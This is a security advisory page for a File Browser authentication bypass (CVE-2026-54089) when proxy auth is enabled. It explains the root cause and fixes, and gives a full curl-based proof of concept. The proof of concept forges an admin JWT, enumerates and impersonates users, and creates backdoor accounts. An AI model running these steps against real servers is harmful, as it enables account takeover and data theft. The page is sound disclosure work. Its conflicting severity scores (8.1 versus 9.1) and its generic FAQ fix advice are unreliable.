CVE-2026-54089: File Browser: Authentication Bypass via Proxy Auth Header Forgery

Published Jun 25, 2026
·
Updated

Summary

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

- File: auth/proxy.go, lines 21-28 - CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing) - Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

- nginx + Authelia / Authentik - Traefik + OAuth2 Proxy - Caddy + forwardauth - Apache + modauthldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

| Deployment Scenario | Exploitable? | |---|---| | Default install (auth.method=json) | No — JSON auth uses password verification | | auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) | No - attacker cannot reach the server directly | | auth.method=proxy + FileBrowser port exposed to network | Yes - full admin takeover |

The third scenario is common because: - Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

go func (a ProxyAuth) Auth(r http.Request, usr users.Store, setting settings.Settings, srv settings.Server) (users.User, error) { username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { return a.createUser(usr, setting, srv, username) } return user, err // <-- returns the user object, no password verification }

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

go func loginHandler(tokenExpireTime time.Duration) handleFunc { return func(w http.ResponseWriter, r http.Request, d data) (int, error) { auther, err := d.store.Auth.Get(d.settings.AuthMethod) // ... user, err := auther.Auth(r, d.store.Users, d.settings, d.server) // No additional verification — if auther.Auth() returns a user, a JWT is minted return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT } }

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

go func (a ProxyAuth) createUser(usr users.Store, setting settings.Settings, srv settings.Server, username string) (users.User, error) { pwd, err := users.RandomPwd(randomPasswordLength) // ... user := &users.User{ Username: username, // <-- attacker-controlled Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.) // ... err = usr.Save(user) // <-- persisted to database return user, nil }

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends: POST /api/login + Header: X-Remote-User: admin | loginHandler() | |-> d.store.Auth.Get("proxy") | |-> auther.Auth(r, ...) | |-> ProxyAuth.Auth() | |-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled) |-> usr.Get(root, "admin") -> admin user (found in DB) |-> return user, nil -> no password check |-> printToken(w, r, d, user, ...) | |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}}) |-> token.SignedString(key) -> valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM" 403 Forbidden root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# FORGEDTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin") root@LAPTOP-VUMRCEKO:~# root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGEDTOKEN" | python3 -m json.tool { "signup": false, "hideLoginButton": true, "createUserDir": false, "minimumPasswordLength": 12, "userHomeBasePath": "/users", "defaults": { "scope": ".", "locale": "en", "viewMode": "mosaic", "singleClick": false, "redirectAfterCopyMove": true, "sorting": { "by": "", "asc": false }, "perm": { "admin": false, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true }, "commands": [], "hideDotfiles": false, "dateFormat": false, "aceEditorTheme": "" }, "authMethod": "proxy", "rules": [], "branding": { "name": "", "disableExternal": false, "disableUsedPercentage": false, "files": "", "theme": "", "color": "" }, "tus": { "chunkSize": 10485760, "retryCount": 5 }, "shell": [ "/bin/sh", "-c" ], "commands": { "aftercopy": [], "afterdelete": [], "afterrename": [], "aftersave": [], "afterupload": [], "beforecopy": [], "beforedelete": [], "beforerename": [], "beforesave": [], "beforeupload": [] } } root@LAPTOP-VUMRCEKO:~# <img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />

Prerequisites

- FileBrowser with proxy auth enabled: bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User - Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

bash Using a legitimate non-admin JWT token: curl -s http://localhost:8085/api/settings \ -H "X-Auth: <ATTACKERJWTTOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

bash Just one header, no password: FORGEDTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: admin")

echo "$FORGEDTOKEN" eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

bash Read full server configuration (admin-only): curl -s http://localhost:8085/api/settings \ -H "X-Auth: $FORGEDTOKEN"

Result: 200 OK - complete server settings returned:

json { "authMethod": "proxy", "shell": ["/bin/sh", "-c"], "signup": false, "defaults": { "perm": { "admin": false, "execute": true, ... } }, ... }

Step 4: Enumerate all user accounts

bash curl -s http://localhost:8085/api/users \ -H "X-Auth: $FORGEDTOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

bash Impersonate "testuser" — access their files without knowing their password: VICTIMTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \ -H "X-Auth: $VICTIMTOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

bash This username doesn't exist — server creates it automatically: NEWTOKEN=$(curl -s -X POST http://localhost:8085/api/login \ -H "X-Remote-User: backdooraccount")

Result: New user backdooraccount created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

| Test | Result | |------|--------| | Attacker token (non-admin) -> GET /api/settings | 403 Forbidden (blocked) | | Forged header X-Remote-User: admin -> POST /api/login | 200 OK — valid admin JWT (608 bytes) | | Forged admin token -> GET /api/settings | 200 OK — full server config returned | | Forged admin token -> GET /api/users | 200 OK — all user accounts listed | | Forged header X-Remote-User: testuser | 200 OK — testuser JWT, files accessible | | Forged header X-Remote-User: nonexistentuser | 200 OK — new user auto-created, JWT returned |

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

1. Full admin takeover — impersonate the admin user and gain complete control 2. Read all server settings — shell configuration, permissions, branding, rules 3. Enumerate and impersonate all users — access every user's files without credentials 4. Create unlimited backdoor accounts — auto-creation generates persistent accounts 5. Modify server configuration — enable command execution, change shell, alter rules 6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

go type ProxyAuth struct { Header string json:"header" TrustedProxies []string json:"trustedProxies" // New: list of trusted proxy IPs/CIDRs }

func (a ProxyAuth) Auth(r http.Request, usr users.Store, setting settings.Settings, srv settings.Server) (users.User, error) { // Verify request originates from a trusted reverse proxy clientIP := realip.FromRequest(r) if !a.isTrustedProxy(clientIP) { return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP) }

username := r.Header.Get(a.Header) if username == "" { return nil, os.ErrPermission }

user, err := usr.Get(srv.Root, username) if errors.Is(err, fberrors.ErrNotExist) { if a.AutoCreateUsers { // Make opt-in return a.createUser(usr, setting, srv, username) } return nil, os.ErrPermission } return user, err }

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth: - FileBrowser MUST NOT be directly accessible from untrusted networks - Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy MUST strip/overwrite the configured header from client requests

References

- Source file: https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go - Login handler: https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137 - CWE-287: https://cwe.mitre.org/data/definitions/287.html - CWE-290: https://cwe.mitre.org/data/definitions/290.html - OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/AuthenticationCheatSheet.html

Other sources

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Starting with 2.0.0-rc.1, when FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization. This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

NVD

Affected Software

2 affected components
Filebrowser File Browser>=undefined
go/github.com/filebrowser/filebrowser/v2>=2.0.0-rc.1<=2.63.18

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Set `auth.proxy.createUsers` to `false` (opt-in) so automatic account creation is disabled when `auth.method=proxy`.

    FileBrowser proxy authentication auth.proxy.createUsers = false
  2. Configuration

    Ensure `auth.method=proxy` is used only in deployments where FileBrowser is not directly reachable by untrusted clients; the attack is possible when the server can be reached directly.

    FileBrowser proxy authentication auth.method = proxy
  3. Compensating control

    Bind FileBrowser to `127.0.0.1` or use firewall/network rules so only the reverse proxy can reach the FileBrowser port; do not expose it to untrusted networks directly (containers should not publish ports publicly, e.g., avoid `-p 8085:80`).

  4. Compensating control

    Configure the reverse proxy to strip/overwrite the configured auth header from client requests (e.g., `X-Auth: $FORGED_TOKEN` / `X-Remote-User`) so attackers cannot forge proxy-auth identity headers when `auth.method=proxy`.

Event History

Jun 25, 2026
CVE Published
via MITRE·05:46 PM
Data Sourced
via MITRE·05:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness
Jul 10, 2026
Advisory Published
via GitHub·07:27 PM
Data Sourced
via GitHub·07:27 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-54089?

CVE-2026-54089 has a severity rating of critical at 9.1.

2

How do I fix CVE-2026-54089?

To fix CVE-2026-54089, ensure that your File Browser is updated to the latest version that addresses this vulnerability.

3

What does CVE-2026-54089 affect?

CVE-2026-54089 affects File Browser versions starting from 2.0.0-rc.1 when configured with proxy authentication.

4

What type of vulnerability is CVE-2026-54089?

CVE-2026-54089 is an authentication bypass vulnerability that allows unauthenticated attackers to forge proxy authentication headers.

5

Can CVE-2026-54089 lead to data compromise?

Yes, CVE-2026-54089 can lead to data compromise as it allows unauthorized access to file management functions.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203